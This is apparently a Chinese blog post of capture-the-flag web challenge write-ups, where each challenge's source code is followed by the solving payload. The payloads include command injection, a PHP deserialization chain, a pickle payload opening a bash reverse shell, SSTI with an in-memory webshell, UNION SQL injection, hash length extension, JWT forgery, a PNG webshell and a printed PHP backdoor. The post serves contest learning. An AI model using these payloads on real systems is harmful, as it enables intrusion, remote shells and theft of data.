luokuang's blog

Strive to see a better version of yourself

[Week1] 1zflask

题目提示robots,直接访问robots.txt即可获得/s3recttt,下载app.py源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
import flask
from flask import Flask, request, send_from_directory, send_file

app = Flask(__name__)

@app.route('/api')
def api():
cmd = request.args.get('SSHCTFF', 'ls /')
result = os.popen(cmd).read()
return result

@app.route('/robots.txt')
def static_from_root():
return send_from_directory(app.static_folder,'robots.txt')

@app.route('/s3recttt')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)

if __name__ == '__main__':
app.run(debug=True)

直接访问/api即可进行rce

1
/api?SSHCTFF=cat /*

[Week1] MD5 Master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
highlight_file(__file__);

$master = "MD5 master!";

if(isset($_POST["master1"]) && isset($_POST["master2"])){
if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
echo $master . "<br>";
echo file_get_contents('/flag');
}
}
else{
die("master? <br>");
}

md5强碰撞绕过即可,这里需要碰撞前的字符串为MD5 master!,这样就可以达到绕过,通过bp提交即可

1
master1=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3D%DD%F6FS%00%0B%AE%3E%21%0Es%E2%89r%EA%8D%3A%F2%21%1C%E9%22%1CD%D2%7E%FAL%10%A2%1D%9D%F1%F2%F6l%AB%85%18%EF%C1A%1B%C8WL%88%AC%7D%FC%E7%C1%7D%3DG%BDD%0BEsbAQtY%8DP%23%FE%F8%F2%8D%14%F2S%A8%BE%E7%96%00%10x%97%C8%E3L%DD%1C%25l%E7Q%C7%7C%DE%21%88%F2%19%BC%91%10%87%9A%15%C5Y%9D%88%F6%DD%C9%3C%0D%DD%89%D6%F3%15%B0%ED%CEY%D3tck&master2=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3D%DD%F6FS%00%0B%AE%3E%21%0Es%E2%89r%EA%8D%3A%F2%A1%1C%E9%22%1CD%D2%7E%FAL%10%A2%1D%9D%F1%F2%F6l%AB%85%18%EF%C1A%1B%C8%D7L%88%AC%7D%FC%E7%C1%7D%3DG%BDD%0B%C5sbAQtY%8DP%23%FE%F8%F2%8D%14%F2S%A8%BE%E7%96%00%10x%17%C8%E3L%DD%1C%25l%E7Q%C7%7C%DE%21%88%F2%19%BC%91%10%87%9A%15%C5Y%9D%08%F6%DD%C9%3C%0D%DD%89%D6%F3%15%B0%ED%CE%D9%D3tck

[Week1] ez_gittt

git泄露,直接通过GitHack来查看即可

1
2
python2 GitHack.py http://210.44.150.15:47817/.git/
git show

[Week1] jvav

这个题要通过java来执行系统命令来获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class demo {

public static void main(String[] args) {
// 创建ProcessBuilder对象,传入"ls"命令
ProcessBuilder processBuilder = new ProcessBuilder("ls","/");

try {
// 启动进程
Process process = processBuilder.start();

// 使用BufferedReader读取进程的输出流
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
// 打印输出结果
System.out.println(line);
}
reader.close();

// 等待进程结束,并获取退出值
int exitCode = process.waitFor();
if (exitCode == 0) {
System.out.println("Command executed successfully.");
} else {
System.out.println("Command execution failed with exit code: " + exitCode);
}

} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
// 重新设置中断标志
Thread.currentThread().interrupt();
e.printStackTrace();
}
}
}

[Week1] poppopop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php 
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
public function flag()
{
($this->p)();
}
}
class T{
public $n;
public function __destruct()
{
SH::$Web = true;
echo $this->n;
}
}
class F {
public $o;
public function __toString()
{
SH::$SHCTF = true;
$this->o->flag();
return "其实。。。。,";
}
}
class SHCTF {
public $isyou;
public $flag;
public function __invoke()
{
if (SH::$Web) {

($this->isyou)($this->flag);
echo "小丑竟是我自己呜呜呜~";
} else {
echo "小丑别看了!";
}
}
}
if (isset($_GET['data'])) {
highlight_file(__FILE__);
unserialize(base64_decode($_GET['data']));
} else {
highlight_file(__FILE__);
echo "小丑离我远点!!!";
}

这个就是一个序列化题,没有什么好讲的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class SH {
public static $Web = false;
public static $SHCTF = false;
}
class C {
public $p;
}
class T{
public $n;
}
class F {
public $o;
}
class SHCTF {
public $isyou="system";
public $flag="cat /*";
}
$a=new T();
$a->n=new F();
$a->n->o=new C();
$a->n->o->p=new SHCTF();
echo base64_encode(serialize($a));
TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czo2OiJjYXQgLyoiO319fX0=

[Week1] 单身十八年的手速

查看game.js直接寻找最后的base编码得flag

[Week1] 蛐蛐?蛐蛐!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
if($_POST['ququ']!=null){
$eval_param = $_POST['ququ'];
if(strncmp($eval_param,'ququk1',6)===0){
eval($_POST['ququ']);
}else{
echo("可以让fault的蛐蛐变成现实么\n");
}
}
echo("蛐蛐成功第一步!\n");

}
else{
echo("呜呜呜fault还是要出题");
}

这里直接通过提交ququ=114514a即可绕过第一个if,后面的if需要ququk1开头,但是直接拼接命令再后面即可,报错但是会执行

1
ququ=ququk1;system('cat /*');

[Week2]MD5 GOD!

下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from flask import *
import hashlib, os, random

app = Flask(__name__)
app.config["SECRET_KEY"] = "Th1s_is_5ecr3t_k3y"
salt = os.urandom(16)

def md5(data):
return hashlib.md5(data).hexdigest().encode()

def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False

def getRandom(str_length=16):
"""
生成一个指定长度的随机字符串
"""
random_str =''
base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length =len(base_str) -1
for i in range(str_length):
random_str +=base_str[random.randint(0, length)]
return random_str

users = {}
sign_users = {}

@app.route("/")
def index():
if session.get('sign') == None or session.get('username') == None or session.get('msg') == None:
return redirect("/login")
sign = session.get('sign')
username = session.get('username')
msg = session.get('msg')
if check_sign(sign, username, msg, salt):
sign_users[username.decode()] = 1
return "签到成功"
return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
# print(password)
if username in users and users[username] == password:
session["username"] = username.encode()
session["msg"] = md5(salt + password.encode())
session["sign"] = md5(salt + md5(salt + password.encode()) + username.encode())
return "登陆成功"
else:
return "登陆失败"
else:
return render_template("login.html")

@app.route("/users")
def user():
return json.dumps(sign_users)

@app.route("/flag")
def flag():
for user in users:
if sign_users[user] != 1:
return "flag{杂鱼~}"
return open('/flag', 'r').read()

def init():
global users, sign_users
for _ in range(64):
username = getRandom(8)
pwd = getRandom(16)
users[username] = pwd
sign_users[username] = 0
users["student"] = "student"
sign_users["student"] = 0

init()

这里需要将每一个用户进行签到成功就可以获取flag,这里将SECRET_KEY给出来的,并且有一个关键函数来对身份进行验证

1
2
3
4
def check_sign(sign, username, msg, salt):
if sign == md5(salt + msg + username):
return True
return False

salt为随机不知道的值,msg= md5(salt + password.encode()),但是有一个已经知道的账户,通过哈希延长攻击来写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
import hashlib
import math
from typing import Any, Dict, List

rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]

constants = [int(abs(math.sin(i + 1)) * 2 ** 32) & 0xFFFFFFFF for i in range(64)]

functions = 16 * [lambda b, c, d: (b & c) | (~b & d)] + \
16 * [lambda b, c, d: (d & b) | (~d & c)] + \
16 * [lambda b, c, d: b ^ c ^ d] + \
16 * [lambda b, c, d: c ^ (b | ~d)]

index_functions = 16 * [lambda i: i] + \
16 * [lambda i: (5 * i + 1) % 16] + \
16 * [lambda i: (3 * i + 5) % 16] + \
16 * [lambda i: (7 * i) % 16]


def get_init_values(A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> List[int]:
return [A, B, C, D]


def left_rotate(x, amount):
x &= 0xFFFFFFFF
return ((x << amount) | (x >> (32 - amount))) & 0xFFFFFFFF


def padding_message(msg: bytes) -> bytes:
"""
在MD5算法中,首先需要对输入信息进行填充,使其位长对512求余的结果等于448,并且填充必须进行,即使其位长对512求余的结果等于448。
因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。
填充的方法如下:
1) 在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。
2) 在这个结果后面附加一个以64位二进制表示的填充前信息长度(单位为Bit),如果二进制表示的填充前信息长度超过64位,则取低64位。
经过这两步的处理,信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。
"""
orig_len_in_bits = (8 * len(msg)) & 0xffffffffffffffff
msg += bytes([0x80])
while len(msg) % 64 != 56:
msg += bytes([0x00])
msg += orig_len_in_bits.to_bytes(8, byteorder='little')
return msg


def md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int:
message = padding_message(message)
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF

return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def md5_to_hex(digest: int) -> str:
raw = digest.to_bytes(16, byteorder='little')
return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))


def get_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str:
return md5_to_hex(md5(message, A, B, C, D))


def md5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe,
D: int = 0x10325476) -> int:
hash_pieces = get_init_values(A, B, C, D)[:]
for chunk_ofst in range(0, len(message), 64):
a, b, c, d = hash_pieces
chunk = message[chunk_ofst:chunk_ofst + 64]
for i in range(64):
f = functions[i](b, c, d)
g = index_functions[i](i)
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF
a, b, c, d = d, new_b, b, c
for i, val in enumerate([a, b, c, d]):
hash_pieces[i] += val
hash_pieces[i] &= 0xFFFFFFFF

return sum(x << (32 * i) for i, x in enumerate(hash_pieces))


def get_init_values_from_hash_str(real_hash: str) -> List[int]:
"""

Args:
real_hash: 真实的hash结算结果

Returns: 哈希初始化值[A, B, C, D]

"""
str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i in range(4)]
# 先按照小端字节序将十六进制字符串转换成整数,然后按照大端字节序重新读取这个数字
return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]


def get_md5_attack_materials(origin_msg: bytes, key_len: int, real_hash: str, append_data: bytes) -> Dict[str, Any]:
"""

Args:
origin_msg: 原始的消息字节流
key_len: 原始密钥(盐)的长度
real_hash: 计算出的真实的hash值
append_data: 需要添加的攻击数据

Returns: 发起攻击需要的物料信息
{
'attack_fake_msg': bytes([...]),
'attack_hash_value': str(a1b2c3d4...)
}

"""
init_values = get_init_values_from_hash_str(real_hash)
# print(['{:08x}'.format(x) for x in init_values])
# 只知道key的长度,不知道key的具体内容时,任意填充key的内容
fake_key: bytes = bytes([0xff for _ in range(key_len)])
# 计算出加了append_data后的真实填充数据
finally_padded_attack_data = padding_message(padding_message(fake_key + origin_msg) + append_data)
# 攻击者提前计算添加了攻击数据的哈希
attack_hash_value = md5_to_hex(md5_attack(finally_padded_attack_data[len(padding_message(fake_key + origin_msg)):],
A=init_values[0],
B=init_values[1],
C=init_values[2],
D=init_values[3]))
fake_padding_data = padding_message(fake_key + origin_msg)[len(fake_key + origin_msg):]
attack_fake_msg = origin_msg + fake_padding_data + append_data
return {'attack_fake_msg': attack_fake_msg, 'attack_hash_value': attack_hash_value}



from flask.sessions import SecureCookieSessionInterface
import requests, json, time

class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key


def session_decode(session_cookie_value, secret_key):
""" Decode a Flask cookie """
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)


def session_encode(session_cookie_structure, secret_key):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
# session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)


def req_index(url, cookie):
# headers = {"Cookie": "session=" + cookie}
cookies = {"session":cookie}
r = requests.get(url, cookies=cookies).text
# print(r)
if '签到成功' not in r:
# print(cookie)
time.sleep(1)
req_index(url, cookie)
# print(r)

def req_user(url):
return json.loads(requests.get(url).text)

def req_login(url):
data = {"username":"student", "password":"student"}
cookie = requests.post(url, data).headers["Set-Cookie"][8:].split(';')[0]
# print(cookie)
return cookie

def hash_Attack(md5_value, key_len, data, attack_data):
attack_materials = get_md5_attack_materials(data, key_len, md5_value.decode(), attack_data)
# print(data)
res = {"username":attack_data, "msg":attack_materials['attack_fake_msg'][:-len(attack_data)], "sign":attack_materials['attack_hash_value'].encode()}
return res


if __name__ == '__main__':
url = "http://210.44.150.15:49982/"
cookie = req_login(url+'login')
users = req_user(url+'users')
secret_key = "Th1s_is_5ecr3t_k3y"
res = session_decode(cookie, secret_key)
for user in users:
if users[user] == 0:
res = hash_Attack(res["sign"], 16, res["msg"]+res["username"], user.encode())
res2 = session_encode(res, secret_key)
# time.sleep(1)
r = req_index(url, res2)

[Week2]dickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from flask import Flask, request
import pickle
import base64
import io

BLACKLISTED_CLASSES = [
'subprocess.check_output','builtins.eval','builtins.exec',
'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4',
'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus',
'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
'__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system',
'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
'posixfile.fileopen'
]

class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if f"{module}.{name}" in BLACKLISTED_CLASSES:
raise pickle.UnpicklingError("Forbidden class: %s.%s" % (module, name))
return super().find_class(module, name)

app = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
encoded_data = request.form["data"]
decoded_data = base64.b64decode(encoded_data)

try:
data_stream = io.BytesIO(decoded_data)
unpickler = SafeUnpickler(data_stream)
result = unpickler.load()
return f"Deserialized data: {list(result)}"
except Exception as e:
return f"Error during deserialization: {str(e)}"
else:
return """
<form method="post">
<label for="data">Enter your serialized data:</label><br>
<textarea id="data" name="data"></textarea><br>
<input type="submit" value="Submit">
</form>
"""

if __name__ == "__main__":
app.run(port=8080)

这里是pickel反序列化,但是有十分多的waf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BLACKLISTED_CLASSES = [
'subprocess.check_output','builtins.eval','builtins.exec',
'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4',
'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus',
'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
'__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system',
'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
'posixfile.fileopen'
]

在反序列化过程中, pickle 使用 find_class 方法来定位和导入必要的类或函数。由于 pickle 记录的是 posix.system,因此find_class 会从 posix 模块中导入 system 函数,而不是从 os 模块中导入。

所以可以用os.system进行序列化,但是在检测就会调用posix.system,从而绕过黑名单

1
2
3
4
5
6
7
8
9
10
import os
import pickle
import base64
class A():
def __reduce__(self):
return (os.system,('bash -c "bash -i >6 /dev/tcp/ip/8888 0>&1"',))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

[Week2]guess_the_number

查看源码的源码 /s0urce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import flask
import random
from flask import Flask, request, render_template, send_file

app = Flask(__name__)

@app.route('/')
def index():
return render_template('index.html', first_num = first_num)

@app.route('/s0urce')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)

@app.route('/first')
def get_first_number():
return str(first_num)

@app.route('/guess')
def verify_seed():
num = request.args.get('num')
if num == str(second_num):
with open("/flag", "r") as file:
return file.read()
return "nonono"

def init():
global seed, first_num, second_num
seed = random.randint(1000000,9999999)
random.seed(seed)
first_num = random.randint(1000000000,9999999999)
second_num = random.randint(1000000000,9999999999)

init()
app.run(debug=True)

主要看到种子这里seed = random.randint(1000000,9999999),这里看似随机的,但是当种子确定下来时,first_num和second_num就会确定,所以,只需要通过第一个数来获得seed就可以获得第二个数值

1
2
3
4
5
6
7
import random
for i in range(1000000,9999999):
random.seed(i)
first_num = random.randint(1000000000, 9999999999)
if(first_num==2750639080):
print(random.randint(1000000000, 9999999999))
break

再提交输出的值获取flag

[Week2]入侵者禁入

这里直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import Flask, session, request, render_template_string
app = Flask(__name__)
app.secret_key = '0day_joker'
@app.route('/')
def index():
session['role'] = {
'is_admin': 0,
'flag': 'your_flag_here'
}
with open(__file__, 'r') as file:
code = file.read()
return code
@app.route('/admin')
def admin_handler():
try:
role = session.get('role')
if not isinstance(role, dict):
raise Exception
except Exception:
return 'Without you, you are an intruder!'
if role.get('is_admin') == 1:
flag = role.get('flag') or 'admin'
message = "Oh,I believe in you! The flag is: %s" % flag
return render_template_string(message)
else:
return "Error: You don't have the power!"
if __name__ == '__main__':
app.run('0.0.0.0', port=80)

首先看到secret_key就可以知道应该是要通过session伪造了,这里需要注意它不是直接通过admin用户来获取flag,而是通过通过渲染render_template_string(message),这里就可以尝试ssti来获取flag

抓包获取session值

1
eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZyiHMA.AomjARBBM3o_mXsepYp6PsZ6D8E

这里看到破解成功,下面就是进行伪造

1
python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.__globals__.os.popen(\'cat /*\').read()}}', 'is_admin': 1}}"

这里要注意需要通过转义才可以写,最后提交得flag

[Week2]登录验证

提示里面告诉我们要jwt爆破

当我们提交admin admin时告诉我们不是admin

我们开头将jwt码进行爆破

这里爆破出来为222333,将原来的jwt码进行伪造改role为admin即可

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzA3MTk0NzEsImlhdCI6MTczMDcxMjI3MSwibmJmIjoxNzMwNzEyMjcxLCJyb2xlIjoiYWRtaW4ifQ.84vkkeMmFt9dr2RBVhH1TciO69Y4mXPq0cm27Dst9Fo

最后直接提交即可得flag

[Week2]自助查询

这个题注入没有过滤,主要是最后一步要注意

1
2
3
4
1") group by 2#
0") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# //flag,users
0") union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'# //id,scretdata
0") union select 1,group_concat(scretdata) from flag# //被你查到了, 果然不安全,把重要的东西写在注释就不会忘了

这里需要查看注释来获取flag

1
0") union SELECT column_name, column_comment FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag'#

[Week3] 小小cms

这个是用到cms漏洞,直接用payload即可

1
2
3
目录 /pay/index/pay_callback

post提交:out_trade_no[0]=eq&out_trade_no[1]=cat /*&out_trade_no[2]=system

[Week3] love_flask

下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from flask import Flask, request, render_template_string
# Flask 2.0.1
# Werkzeug 2.2.2
app = Flask(__name__)
html_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Pretty Input Box</title>
<style>
.pretty-input {
width: 100%;
padding: 10px 20px;
margin: 20px 0;
font-size: 16px;
border: 1px solid #ccc;
border-radius: 25px;
box-sizing: border-box;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
transition: border 0.3s ease-in-out;
}

.pretty-input:focus {
border-color: #4CAF50;
outline: none;
}

.submit-button {
width: 100%;
padding: 10px 20px;
margin: 20px 0;
font-size: 16px;
color: white;
background-color: #4CAF50;
border: none;
border-radius: 25px;
cursor: pointer;
}

.container {
max-width: 300px;
margin: auto;
text-align: center;
}
</style>
</head>
<body>

<div class="container">
<form action="/namelist" method="get">
<input type="text" class="pretty-input" name="name" placeholder="Enter your name...">
<input type="submit" class="submit-button" value="Submit">
</form>
</div>

</body>
</html>
'''

@app.route('/')
def pretty_input():
return render_template_string(html_template)

@app.route('/namelist', methods=['GET'])
def name_list():
name = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % name
rendered_string = render_template_string(template)
if rendered_string:
return 'Success Write your name to database'
else:
return 'Error'

if __name__ == '__main__':
app.run(port=8080)

这里发现存在ssti,但是没有会显,这里就可以产生通过内存马来进行回显,这里注意在打内存马时,如果已经创建了目录时就会报错,所以每次进行打内存马时就需要修改目录路径

1
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/bbb', 'bbb', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'cat /*')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

[Week3] 拜师之旅·番外

这个题考图片马得二次渲染

这个题只可以上传png文件,这里无法通过请求头和图片标识符来绕过,只能通过直接上传png文件来进行绕过,生成png图片的php代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>

运行这个php文件就会生成一个1.png文件,直接下来进行上传,post提交来进行执行命令

1
2
3
/view.php?image=/upload/1924555906.png&0=system

1=ls /

[Week3] hacked_website

这里会给一个备份文件

打开后发现在/admin/profile.php中有一个后门

1
<?php $a = 'sys';$b = 'tem';$x = $a.$b;if (!isset($_POST['SH'])) {$z = "''";} else $z = $_POST['SH'];?>

